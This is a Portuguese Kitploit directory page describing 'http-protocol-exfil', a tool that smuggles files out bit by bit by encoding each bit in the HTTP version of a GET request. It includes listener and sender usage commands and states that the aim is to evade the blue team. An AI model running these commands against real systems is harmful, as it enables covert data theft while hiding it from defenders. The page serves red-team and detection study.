Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
http-protocol-exfil — Exfiltrar arquivos usando a versão do protocolo HTTP ("HTTP/1.0" é 0 e "HTTP/1.1" é 1) | Kitploit
Ferramentas/GitHubGitHub/ricardojoserf/http-protocol-exfil
Exfiltração de DadosSegurança de Rede
GitHubricardojoserf/http-protocol-exfil

http-protocol-exfil

Exfiltrar arquivos usando a versão do protocolo HTTP ("HTTP/1.0" é 0 e "HTTP/1.1" é 1)

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
2422há 4 anosRevisado pelo Kitploit

http-protocol-exfil

Use a versão do protocolo HTTP para enviar um arquivo bit a bit ("HTTP/1.0" é um 0 e "HTTP/1.1" é um 1). Utiliza requisições GET, então a Equipe Azul veria apenas as solicitações para o seu endereço IP. No entanto, leva muito tempo para enviar arquivos maiores, por exemplo, precisa de 1 hora para enviar 200 KB, e a quantidade de requisições seria muito alta (8 vezes o número de bytes do arquivo).

memillo

Criar listener

Para executar o listener, use listener.py com um argumento opcional: a porta em que estará ouvindo.

root@kitploit:~
python3 listener.py [PORT]

Exemplo:

root@kitploit:~
python3 listener.py 8080

Enviar um arquivo

Para enviar um arquivo, use sender.py com dois argumentos obrigatórios: o caminho do arquivo e a URL do listener; e um argumento opcional: o nome do arquivo criado remotamente (se não for usado, o nome do arquivo de entrada é utilizado).

root@kitploit:~
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

Exemplo:

root@kitploit:~
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Exemplo

Primeiro o arquivo é enviado:

image1

Se a variável debug estiver definida como True (o padrão), você pode ver os valores binários nas mensagens de log do listener:

image2

O novo arquivo é criado com o conteúdo do arquivo de entrada:

image3


Motivação

Acho (não tenho certeza) que li alguém no Twitter que afirmou ter usado isso para exfiltrar dados e gostei da ideia; se você é essa pessoa, me avise.

Baixar ferramenta